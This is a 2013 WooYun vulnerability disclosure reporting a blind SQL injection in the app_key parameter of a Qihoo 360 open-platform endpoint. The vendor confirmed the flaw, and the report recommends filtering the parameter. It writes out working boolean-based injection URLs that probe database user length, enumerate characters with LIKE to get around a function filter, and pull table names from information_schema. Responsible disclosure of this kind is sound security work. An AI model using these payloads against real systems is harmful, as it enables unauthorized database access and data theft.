漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-018172
漏洞标题:360应用开放平台SQL注入
相关厂商:奇虎360
漏洞作者: gainover
提交时间:2013-01-31 14:27
修复时间:2013-03-17 14:27
公开时间:2013-03-17 14:27
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-01-31: 细节已通知厂商并且等待厂商处理中
2013-01-31: 厂商已经确认,细节仅向厂商公开
2013-02-10: 细节向核心白帽子及相关领域专家公开
2013-02-20: 细节向普通白帽子公开
2013-03-02: 细节向实习白帽子公开
2013-03-17: 细节向公众公开
简要描述:
360应用开放平台某文件参数未过滤,导致可被注入。
详细说明:
缺陷点如下:
http://open.se.360.cn/static/js/patch.php?app_key=[注入点]
测试如下:
1. 1=1和1=2
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=1)%20and%20'1'='1
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=2)%20and%20'1'='1
返回内容不一致。
前者是:
后者是:
2. 判断用户长度。
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(length(user())%3E22)%20and%20'1'='1
3. 但是当想进一步获取内容时,调用某些函数,例如substring, left, right 时,状况是:
4. 因而看来这里应该是做了某些安全防护,对某些函数加以过滤了?
于是换个方式获取下内容:
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and (user() like 'o%') and%20'1'='1
返回 var ua_360 = false;var server_data = []; 说明 用户名第一个字母是 o
依次类推,可以得到用户为 OPEN_SE@220.***.***.186
数据库名为 OPEN_SE_360_CN
5. 进一步为了获得表名,写个程序跑了跑。
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20((select/**/group_concat(table_name)/**/from%20information_schema.tables)%20like%20'%CHARACTER_SETS[待跑内容]')%20and%20'1'='1
可得到结果如下:
EXTENSION
EXTENSION_ENABLED
EXTENSION_LATEST
LOG_2012
...
漏洞证明:
见详细说明!
修复方案:
对 app_key 参数过滤下。
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2013-01-31 14:36
厂商回复:
感谢您的反馈,该漏洞确实存在,相关工作人员正在处理该问题。
最新状态:
暂无